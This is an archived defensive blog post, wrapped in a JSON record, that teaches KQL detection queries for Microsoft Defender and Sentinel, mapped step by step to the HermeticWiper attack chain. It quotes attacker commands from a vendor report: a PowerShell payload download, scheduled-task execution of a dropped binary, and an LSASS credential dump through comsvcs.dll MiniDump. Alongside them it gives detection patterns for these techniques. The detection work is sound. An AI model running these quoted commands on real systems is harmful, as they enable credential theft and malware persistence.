{
	"id": "4b6b421e-ce5d-43fd-b11c-7bae6d50be77",
	"created_at": "2026-04-06T00:18:41.647023Z",
	"updated_at": "2026-04-10T03:20:43.440978Z",
	"deleted_at": null,
	"sha1_hash": "b937b0bf48711eed539f5f40abab0fe42de85de2",
	"title": "Detecting malware kill chains with Defender and Microsoft Sentinel",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 663508,
	"plain_text": "Detecting malware kill chains with Defender and Microsoft Sentinel\r\nPublished: 2022-02-28 · Archived: 2026-04-05 19:33:22 UTC\r\nThe InfoSec community is amazing at providing insight into ransomware and malware attacks. There are so many\r\nfantastic contributors who share indicators of compromise (IOCs) and all kinds of other data. Community members\r\nand vendors publish detailed articles on various attacks that have occurred.\r\nUsually these reports contain two different things. Indicators of compromise (IOCs) and tactics, techniques and\r\nprocedures (TTPs). What is the difference?\r\nIndicators of compromise – are some kind of evidence that an attack has occurred. This could be a malicious\r\nIP address or domain. It could be hashes of files. These indicators are often shared throughout the\r\ncommunity. You can hunt for IOCs on places like Virus Total.\r\nTactics, techniques and procedures – describe the behaviour of how an attack occurred. These read more like\r\na story of the attack. They are the ‘why’, the ‘what’ and the ‘how’ of an attack. Initial access was via\r\nphishing. Then reconnaissance. Then execution was via exploiting a scheduled task on a machine. These are\r\nalso known as attack or kill chains. The idea being if you detected the attack earlier in the chain, the damage\r\ncould have been prevented.\r\nUsing a threat intelligence source which provides IOCs is a key part to sound defence. If you detect known\r\nmalicious files or domains in your environment then you need to react. There is, however, a delay between an attack\r\noccurring and these IOCs being available. Due to privacy, or legal requirements or dozens of other reasons, some\r\nIOCs may never be public. Also they can change. New malicious domains or IPs can come online. File hashes can\r\nchange. That doesn’t make IOCs any less valuable. IOCs are still crucial and important in detection.\r\nWe just need to pair our IOC detection with TTP/kill chain detection to increase our defence. These kind of\r\ndetections look for behaviour rather than specific IOCs. We want to try and detect suspicious activities, so that we\r\ncan be alerted on potential attacks with no known IOCs. Hopefully these detections also occur earlier in the attack\r\ntimeline and we are alerted before damage is done.\r\nIf we take for example the Trojan.Killdisk / HermeticWiper malware that has recently been documented. There are\r\na couple of great write ups about the attack timeline. Symantec released this post which provides great insight. And\r\nSenior Microsoft Security Researcher Thomas Roccia (who you should absolutely follow) put together this really\r\nuseful infographic. It visualizes the progression of the attack in a way that is easy to understand and follow. This\r\nvisualizes both indicators and TTPs.\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 1 of 11\n\nClick for the original\r\nThis article won’t focus on IOC detection, there are so many great resources for that. Instead we will work through\r\nthe infographic and Symantec attack chain post. For each step in the chain, we will try to come up with a\r\nbehavioural detection. Not one that focuses on any specific IOC, but to catch the activity itself. Using event logs\r\nand data taken from Microsoft Defender for Endpoint, we can generate some valuable alert rules.\r\nFrom Thomas’ infographic we can see some early reconnaissance and defence evasion.\r\nThe attacker enumerated which privileges the account had. We can find these events with.\r\nDeviceProcessEvents\r\n| where FileName == \"whoami.exe\" and ProcessCommandLine contains \"priv\"\r\n| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, InitiatingProcessCommandLine, Proces\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 2 of 11\n\nWe get a hit for someone looking at the privilege of the logged on account. This activity should not be occurring\r\noften in your environment outside of security staff.\r\nThe attacker then disabled the volume shadow copy service (VSS), to prevent restoration. When services are\r\ndisabled they trigger Event ID 7040 in your system logs.\r\nEvent\r\n| where EventID == \"7040\"\r\n| extend Logs=parse_xml(EventData)\r\n| extend ServiceName = tostring(parse_json(tostring(parse_json(tostring(parse_json(tostring(Logs.DataItem)).Event\r\n| extend ServiceStatus = tostring(parse_json(tostring(parse_json(tostring(parse_json(tostring(Logs.DataItem)).Eve\r\n| where ServiceName == \"Volume Shadow Copy\" and ServiceStatus == \"disabled\"\r\n| project TimeGenerated, Computer, ServiceName, ServiceStatus, UserName, RenderedDescription\r\nThis query searches for the specific service disabled in this case. You could easily exclude the ‘ServiceName ==\r\n“Volume Shadow Copy”‘ section. This would return you all services disabled. This may be an unusual event in your\r\nenvironment you wish to know about.\r\nIf we switch over to the Symantec article we can continue the timeline. So post compromise of a vulnerable\r\nExchange server, the first activity noted is.\r\nThe decoded PowerShell was used to download a JPEG file from an internal server, on the victim’s\r\nnetwork.\r\ncmd.exe /Q /c powershell -c “(New-Object\r\nSystem.Net.WebClient).DownloadFile(‘hxxp://192.168.3.13/email.jpeg’,’CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1′)”\r\n1\u003e \\\\127.0.0.1\\ADMIN$\\__1636727589.6007507 2\u003e\u00261\r\nThe article states they have decoded the PowerShell to make it readable for us. Which means it was encoded during\r\nthe attack. Maybe our first rule could be searching for PowerShell that has been encoded? We can achieve that.\r\nStart with a broad query. Look for PowerShell and anything with an -enc or -encodedcommand switch.\r\nDeviceProcessEvents\r\n| where ProcessCommandLine contains \"powershell\" or InitiatingProcessCommandLine contains \"powershell\"\r\n| where ProcessCommandLine contains \"-enc\" or ProcessCommandLine contains \"-encodedcommand\" or InitiatingProcessC\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 3 of 11\n\nIf you wanted to use some more advanced operators, we could extract the encoded string. Then attempt to decode it\r\nwithin our query. Query modified from this post.\r\nDeviceProcessEvents\r\n| where ProcessCommandLine contains \"powershell\" or InitiatingProcessCommandLine contains \"powershell\"\r\n| where ProcessCommandLine contains \"-enc\" or ProcessCommandLine contains \"-encodedcommand\" or InitiatingProcessC\r\n| extend EncodedCommand = extract(@'\\s+([A-Za-z0-9+/]{20}\\S+$)', 1, ProcessCommandLine)\r\n| where EncodedCommand != \"\"\r\n| extend DecodedCommand = base64_decode_tostring(EncodedCommand)\r\n| where DecodedCommand != \"\"\r\n| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, ProcessCommandLi\r\nWe can see a result where I encoded a PowerShell command to create a local account on this device.\r\nWe use regex to extract the encoded string. Then we use the base64_decode_tostring operator to decode it for us.\r\nThis second query only returns results when the string can be decoded. So have a look at both queries and see the\r\nresults in your environment.\r\nThis is a great example of hunting IOCs vs TTPs. We aren’t hunting for specific PowerShell commands. We are\r\nhunting for the behaviour of encoded PowerShell.\r\nThe next step was –\r\nA minute later, the attackers created a scheduled task to execute a suspicious ‘postgresql.exe’ file, weekly\r\non a Wednesday, specifically at 11:05 local-time. The attackers then ran this scheduled task to execute the\r\ntask.\r\ncmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1\r\nCSIDL_WINDOWS\\policydefinitions\\postgresql.exe 1\u003e \\\\127.0.0.1\\ADMIN$\\__1636727589.6007507\r\n2\u003e\u00261\r\nschtasks /run /tn “\\Microsoft\\Windows\\termsrv\\licensing\\TlsAccess”\r\nAttackers may lack privilege to launch an executable under system. They may have privilege to update or create a\r\nscheduled task running under a different user context. They could change it from a non malicious to malicious\r\nexecutable. In this example they have created a scheduled task with a malicious executable. Scheduled task creation\r\nis a specific event in Defender, so we can track those. We can also track changes and deletions of scheduled tasks.\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 4 of 11\n\nDeviceEvents\r\n| where TimeGenerated \u003e ago(1h)\r\n| where ActionType == \"ScheduledTaskCreated\"\r\n| extend ScheduledTaskName = tostring(AdditionalFields.TaskName)\r\n| project TimeGenerated, DeviceName, ScheduledTaskName, InitiatingProcessAccountName\r\nThere is a good chance you get significant false positives with this query. If you read on we will try to tackle that at\r\nthe end.\r\nFollowing from the scheduled task creation and execution, Symantec notes that next –\r\nBeginning on February 22, Symantec observed the file ‘postgresql.exe’ being executed and used to\r\nperform the following\r\nExecute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com\r\nExecute a PowerShell command to download another JPEG file from a compromised web server –\r\nconfluence[.]novus[.]ua\r\nSo the attackers leveraged certutil.exe to check internet connectivity. Certutil can be used to do this, and even\r\ndownload files. We can use our DeviceNetworkEvents table to find this kind of event.\r\nDeviceNetworkEvents\r\n| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, LocalIPType,Loca\r\n| where InitiatingProcessCommandLine contains \"certutil\"\r\n| where RemoteIPType == \"Public\"\r\nWe search for DeviceNetworkEvents where the initiating process command line includes certutil. We can also filter\r\non only connections where the Remote IP is public if you have legitimate internal use.\r\nWe can see where I used certutil to download GhostPack from GitHub. I even attempted to obfuscate the command\r\nline, but we still found it. This is another great example of searching for TTPs. We don’t hunt for certutil.exe\r\nconnecting to a specific IOC, but anytime it connects to the internet.\r\nThe next activity was credential dumping –\r\nFollowing this activity, PowerShell was used to dump credentials from the compromised machine\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 5 of 11\n\ncmd.exe /Q /c powershell -c “rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump 600\r\nC:\\asm\\appdata\\local\\microsoft\\windows\\winupd.log full” 1\u003e\r\nThere are many ways to dump credentials from a machine, many are outlined here. We can detect on procdump\r\nusage or comsvcs.dll exploitation. For comsvcs –\r\nDeviceProcessEvents\r\n| where InitiatingProcessCommandLine has_all (\"rundll32\",\"comsvcs.dll\",\"minidump\")\r\n| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine\r\nAnd for procdump –\r\nDeviceProcessEvents\r\n| where InitiatingProcessCommandLine has_all (\"procdump\",\"lsass.exe\")\r\n| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine\r\nThese are definitely offensive commands and shouldn’t be used by regular users.\r\nFinally, the article states that some PowerShell scripts were executed.\r\nLater, following the above activity, several unknown PowerShell scripts were executed.\r\npowershell -v 2 -exec bypass -File text.ps1\r\npowershell -exec bypass gp.ps1\r\npowershell -exec bypass -File link.ps1\r\nWe can see as part of the running these scripts, the execution policy was changed. PowerShell execution bypass\r\nactivity can be found easily enough.\r\nDeviceProcessEvents\r\n| where TimeGenerated \u003e ago(1h)\r\n| project InitiatingProcessAccountName, InitiatingProcessCommandLine\r\n| where InitiatingProcessCommandLine has_all (\"powershell\",\"bypass\")\r\nThis is another one that is going to be high volume. Let’s try and tackle that now.\r\nWith any queries that are relying on behaviour there is a chance for false positives. With false positives comes alert\r\nfatigue. We don’t want a legitimate alert buried in a mountain of noise. Hopefully the above queries don’t have any\r\nfalse positives in your environment. Unfortunately, that is not likely to be true. The nature of these attack techniques\r\nis they leverage tools that are used legitimately. We can try to tune these alerts down by whitelisting particular\r\nservers or commands. We don’t want to whitelist the server that is compromised.\r\nInstead, we could look at adding some more intelligence to our queries. To do that we can try to add a baseline to\r\nour environment. Then we alert when something new occurs.\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 6 of 11\n\nWe build these types of queries by using an anti join in KQL. Anti joins can be a little confusing, so let’s try to\r\nvisualize them from a security point of view.\r\nFirst, think of a regular (or inner) join in KQL. We take two queries or tables and join them together on a field (or\r\nfields) that exist in both tables. Maybe you have firewall data and Active Directory data. Both have IP address\r\ninformation so you can join them together. Have a read here for an introduction to inner joins. We can visualize an\r\ninner join like this.\r\nSo for a regular (or inner) join, we write two queries, then match them on something that is the same in both.\r\nMaybe an IP address, or a username. Once we join we can retrieve information back from both tables.\r\nWhen we expand on this, we can do anti-joins. Let’s visualize a leftanti join.\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 7 of 11\n\nSo we can again write two queries, join them on a matching field. But this time, we only return data from the first\r\n(left) query. A rightanti join is the opposite.\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 8 of 11\n\nFor rightanti joins we run our two queries. We match on our data. But this time we only return results that exist in\r\nthe second (or right) query.\r\nWith joins in KQL, you don’t need to join between two different data sets. Which can be confusing to grasp. You\r\ncan join between the same table, with different query options. So we can query the DeviceEvent table for one set of\r\ndata. Query the DeviceEvent table again, with different parameters. Then join them in different ways. When joining\r\nthe same table together I think of it like this –\r\nUse a leftanti join when you want to detect when something stops happening.\r\nUse a rightanti join when you want to detect when something happens for the first time.\r\nNow let’s see how we apply these joins to our detection rules.\r\nScheduled task creation is a good one to use as an example. Chances are you have legitimate software on your\r\ndevices that create tasks. We will use our rightanti join to add some intelligence to our query.\r\nLet’s look at the following query.\r\nDeviceEvents\r\n| where TimeGenerated \u003e ago(30d) and TimeGenerated \u003c ago(1h)\r\n| where ActionType == \"ScheduledTaskCreated\"\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 9 of 11\n\n| extend ScheduledTaskName = tostring(AdditionalFields.TaskName)\r\n| distinct ScheduledTaskName\r\n| join kind=rightanti\r\n (DeviceEvents\r\n | where TimeGenerated \u003e ago(1h)\r\n | where ActionType == \"ScheduledTaskCreated\"\r\n | extend ScheduledTaskName = tostring(AdditionalFields.TaskName)\r\n | project TimeGenerated, DeviceName, ScheduledTaskName, InitiatingProcessAccountName)\r\n on ScheduledTaskName\r\n| project TimeGenerated, DeviceName, InitiatingProcessAccountName, ScheduledTaskName\r\nOur first (or left) query looks at our DeviceEvents. We go back between 30 days ago and one hour ago. From that\r\ndata, all we care about are the names of all the scheduled tasks that have been created. So we use the distinct\r\noperator. That first query becomes our baseline for our environment.\r\nNext we select our join type. Kind = rightanti. We join back to the same table, DeviceEvents. This time though, we\r\nare only interested in the last hour of data. We retrieve the TimeGenerated, DeviceName,\r\nInitiatingProcessAccountName and ScheduledTaskName.\r\nThen we tell KQL what field we want to join on. We want to join on ScheduledTaskName. Then return only data\r\nthat is new in the last hour.\r\nSo to recap. First find all the scheduled tasks created between 30 days and an hour ago. Then find me all the\r\nscheduled tasks created in the last hour. Finally, only retrieve tasks that are new to our environment in the last hour.\r\nThat is how we do a rightanti join.\r\nAnother example is PowerShell commands that change the execution policy to bypass. You probably see plenty of\r\nthese in your environment\r\nDeviceProcessEvents\r\n| where TimeGenerated \u003e ago(30d) and TimeGenerated \u003c ago(1h)\r\n| project InitiatingProcessAccountName, InitiatingProcessCommandLine\r\n| where InitiatingProcessCommandLine has_all (\"powershell\",\"bypass\")\r\n| distinct InitiatingProcessAccountName, InitiatingProcessCommandLine\r\n| join kind=rightanti (\r\n DeviceProcessEvents\r\n | where TimeGenerated \u003e ago(1h)\r\n | project\r\n TimeGenerated,\r\n DeviceName,\r\n InitiatingProcessAccountName,\r\n InitiatingProcessCommandLine\r\n | where InitiatingProcessAccountName !in (\"system\",\"local service\",\"network service\")\r\n | where InitiatingProcessCommandLine has_all (\"powershell\",\"bypass\")\r\n )\r\n on InitiatingProcessAccountName, InitiatingProcessCommandLine\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 10 of 11\n\nThis query is nearly the same as the one previous. We look back between 30 days and one hour. This time we query\r\nfor commands executed that contain both ‘powershell’ and ‘bypass’. This time we retrieve both distinct commands\r\nand the account that executed them.\r\nThen choose our rightanti join again. Run the same query once more for the last hour. We join on both our fields.\r\nThen return what is new to our environment in the last hour. For this query, the combination of command line and\r\naccount needs to be unique.\r\nFor this particular example I excluded processes initiated by system, local service or network service. This will find\r\nevents run under named user accounts only. This is an example though and it is easy enough to include all\r\ncommands.\r\nIn summary.\r\nThese queries aren’t meant to be perfect hunting queries for all malware attack paths. They may definitely\r\nuseful detections in your environment though. The idea is to try to help you think about TTP detections.\r\nWhen you read malware and ransomware reports you should look at both IOCs and TTPs.\r\nDetect on the IOCs. If you use Sentinel you can use Microsoft provided threat intelligence. You can also\r\ninclude your own feeds. Information is available here. There are many ready to go rules to leverage that data\r\nyou can simply enable.\r\nFor TTPs, have a read of the report and try to come up with queries that detect that behaviour. Then have a\r\nlook how common that activity is for you. The example above of using certutil.exe to download files is a\r\ngood example. That may be extremely rare in your environment. Your hunting query doesn’t need to list the\r\nspecific IOCs to that action. You can just alert any time certutil.exe connects to the internet.\r\nTools like PowerShell are used both maliciously and legitimately. Try to write queries that detect changes or\r\nanomalies in those events. Apply your knowledge of your environment to try and filter the noise without\r\nfiltering out genuine alerts.\r\nAll the queries in this post that use Device* tables should also work in Advanced Hunting. You will just need\r\nto change ‘timegenerated’ to ‘timestamp’.\r\nSource: https://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nhttps://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/"
	],
	"report_names": [
		"detecting-malware-kill-chains-with-defender-and-microsoft-sentinel"
	],
	"threat_actors": [],
	"ts_created_at": 1775434721,
	"ts_updated_at": 1775791243,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b937b0bf48711eed539f5f40abab0fe42de85de2.pdf",
		"text": "https://archive.orkl.eu/b937b0bf48711eed539f5f40abab0fe42de85de2.txt",
		"img": "https://archive.orkl.eu/b937b0bf48711eed539f5f40abab0fe42de85de2.jpg"
	}
}